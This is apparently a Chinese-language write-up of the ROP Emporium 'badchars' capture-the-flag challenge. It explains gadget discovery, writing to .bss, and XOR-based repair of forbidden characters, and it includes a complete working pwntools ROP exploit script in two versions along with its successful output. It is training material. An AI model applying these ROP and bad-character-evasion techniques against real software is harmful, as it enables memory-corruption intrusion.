题目描述#

这道题就像上一题，我们仍然需要把目标字符串写入内存并将其作为第一参数调用目标函数，但多了个问题：坏字符不能直接出现在我们输入的 payload 里，否则会被程序处理/破坏；但我们可以先写入替代字符，再在内存中修回真正的坏字符

正如题目所写，二进制文件会在运行时列出其坏字符，所以到时候我们只需要运行一下就能看到有哪些坏字符了

解题流程#

工具#

pwntools、ropper

查反汇编，确定函数地址，找gadgets；readelf确定写入地址#

依旧反汇编

1
objdump -d -M intel ./badchars

写过两道题相信各位都有感觉，那就是usefulFunction主要还是目标函数的call指令，于我们没什么用，所以我们依旧重点看我们最感兴趣的目标函数地址和usefulGadgets

1
0000000000400510 <print_file@plt>
2

3
0000000000400628 <usefulGadgets>:
4
  400628:       45 30 37                xor    BYTE PTR [r15],r14b
5
  40062b:       c3                      ret
6
  40062c:       45 00 37                add    BYTE PTR [r15],r14b
7
  40062f:       c3                      ret
8
  400630:       45 28 37                sub    BYTE PTR [r15],r14b
9
  400633:       c3                      ret
10
  400634:       4d 89 65 00             mov    QWORD PTR [r13+0x0],r12
11
  400638:       c3                      ret
12
  400639:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]

发现了不少有趣的指令

1
xor    BYTE PTR [r15],r14b  把r14的值用来和r15里对应地址取一字节的内容作异或运算(修改字符串有奇效)，再写回原地址
2
mov    QWORD PTR [r13+0x0],r12  依旧是我们熟悉的写入操作(把r12里的8字节写入到r13指向的内存地址，且偏移量为0)

大致过程很清晰了：先看坏字符，再把经过规避坏字符处理的目标字符串用写入操作写入可写段，再用异或运算把目标字符串需要修改的字符修改回来即可

还是先看可写段地址

1
readelf -S -W ./badchars

找到：

1
Section Headers:
2
[Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al #贴心附上表头
3
[24] .bss              NOBITS          0000000000601038 001038 000008 00  WA  0   0  1

这道题"flag.txt"正好 8 字节，虽然没有写入\x00，但本题环境下可以正常读取，在更复杂场景中需要额外注意字符串结尾，甚至可能需要分多次写入

为了配套使用，我们还得找到对应寄存器的pop指令，以及最后要将目标字符串放入rdi的pop指令。依旧请出我们的ropper

1
ropper --file ./"badchars" --search "pop"

找到：

1
0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret;
2
0x00000000004006a0: pop r14; pop r15; ret;
3
0x00000000004006a3: pop rdi; ret;

显然第一条指令后两个寄存器操作是多余的，并且后续还会用第二条指令将r14、r15的内容改为我们需要的参数，所以我们在写payload时这里可以填两个占位值，反正后面它们仍然会被pop r14; pop r15修改掉(最好不要包含坏字符)

如果后续遇到栈对齐问题，再考虑额外的ret，本题这里不需要

最后，运行一下文件，看坏字符

1
./badchars
2

3
badchars by ROP Emporium
4
x86_64
5

6
badchars are: 'x', 'g', 'a', '.'
7
>

既然如此，不妨我们在写入时用**“flAG/tXt”**

以”A”为例，我们在将其写入后，通过异或运算，可以将其转化为小写

1
A=65     对应二进制01000001
2
0x20=32  对应二进制00100000
3
将两者的各位作异或运算(相同为0，不同为1)
4
易知结果为01100001，对应为小写字母a
5
其余字母和符号同理，就不一一列举
6

7
另
8
大写字母A~Z：0x41~0x5a 对应二进制01xx xxxx
9
小写字母a~z：0x61~0x7a 对应二进制011x xxxx
10
大小写的唯一差别就是从右往左第六位，这一位正好和0x20作异或运算就可以来回翻转
11
达到大小写变换的效果！！！

规范字符串、目标函数和gadgets都找的差不多了，开始写脚本

构造exp脚本#

根据我们的思路，脚本如下：

1
from pwn import *
2

3
p = process('./badchars')
4
p.recv()
5

6
payload = b'A' * 40 + p64(0x000000000040069c) + b"flAG/tXt" + p64(0x0000000000601038) + p64(0x00000000000000aa) + p64(0x00000000000000aa) + p64(0x0000000000400634) +p64(0x00000000004006a0) + p64(0x20) + p64(0x000000000060103a) + p64(0x400628) + p64(0x00000000004006a0) + p64(0x20) + p64(0x000000000060103b) + p64(0x400628) + p64(0x00000000004006a0) + p64(0x01) + p64(0x000000000060103c) + p64(0x400628) + p64(0x00000000004006a0) + p64(0x20) +p64(0x000000000060103e) + p64(0x400628) + p64(0x00000000004006a3) + p64(0x0000000000601038) + p64(0x0000000000400510)
7
#从左到右依次是pop r12; pop r13; pop r14; pop r15; ret;   规避坏字符的字符串  .bss地址   随便的两个地址  写入操作   后面大概是几组pop r14; pop r15; ret; + 异或值 + 对应修改字符地址 + 异或修改操作    收尾工作pop rdi;ret;  .bss地址  print_file@plt地址
8

9
p.sendline(payload)
10
p.interactive()

优化后的易读版本(AIGC):

1
from pwn import *
2

3
p = process('./badchars')
4
p.recv()
5

6
offset = 40
7

8
# 可写内存
9
bss = 0x601038
10

11
# gadgets
12
pop_r12_r13_r14_r15_ret = 0x40069c
13
pop_r14_r15_ret = 0x4006a0
14
pop_rdi_ret = 0x4006a3
15

16
mov_ptr_r13_r12_ret = 0x400634
17
xor_ptr_r15_r14b_ret = 0x400628
18

19
# 目标函数
20
print_file_plt = 0x400510
21

22
payload = b'A' * offset
23

24
# 1. 写入规避坏字符后的字符串：flAG/tXt
25
payload += p64(pop_r12_r13_r14_r15_ret)
26
payload += b"flAG/tXt"          # r12 = 要写入的 8 字节
27
payload += p64(bss)             # r13 = 写入地址
28
payload += p64(0xdeadbeef)      # r14 占位
29
payload += p64(0xcafebabe)      # r15 占位
30
payload += p64(mov_ptr_r13_r12_ret)
31

32
# 2. 修复 A -> a
33
payload += p64(pop_r14_r15_ret)
34
payload += p64(0x20)            # r14b = 0x20
35
payload += p64(bss + 2)         # 指向 A 的位置
36
payload += p64(xor_ptr_r15_r14b_ret)
37

38
# 3. 修复 G -> g
39
payload += p64(pop_r14_r15_ret)
40
payload += p64(0x20)
41
payload += p64(bss + 3)
42
payload += p64(xor_ptr_r15_r14b_ret)
43

44
# 4. 修复 / -> .
45
payload += p64(pop_r14_r15_ret)
46
payload += p64(0x01)
47
payload += p64(bss + 4)
48
payload += p64(xor_ptr_r15_r14b_ret)
49

50
# 5. 修复 X -> x
51
payload += p64(pop_r14_r15_ret)
52
payload += p64(0x20)
53
payload += p64(bss + 6)
54
payload += p64(xor_ptr_r15_r14b_ret)
55

56
# 6. 调用 print_file("flag.txt")
57
payload += p64(pop_rdi_ret)
58
payload += p64(bss)
59
payload += p64(print_file_plt)
60

61
p.sendline(payload)
62
p.interactive()

跑一下，会发生什么呢

1
python3 badchars.py
2

3
[+] Starting local process './badchars': pid 92509
4
[*] Switching to interactive mode
5
Thank you!
6
ROPE{a_placeholder_32byte_flag!}
7
[*] Got EOF while reading in interactive
8
$

flag出来了（＾－＾）

总结#

做这道题的核心思想便是确定坏字符，不要直接写入，而是将其根据坏字符作规范处理后再写入，最后用按位异或运算改回我们的目标字符串。ps：可用大小写替换，方便改回来（如果是字母）
XOR是按位异或，别和按位或搞混了！
XOR在不少情况下是可逆的（比如大小写变换，OR则不行）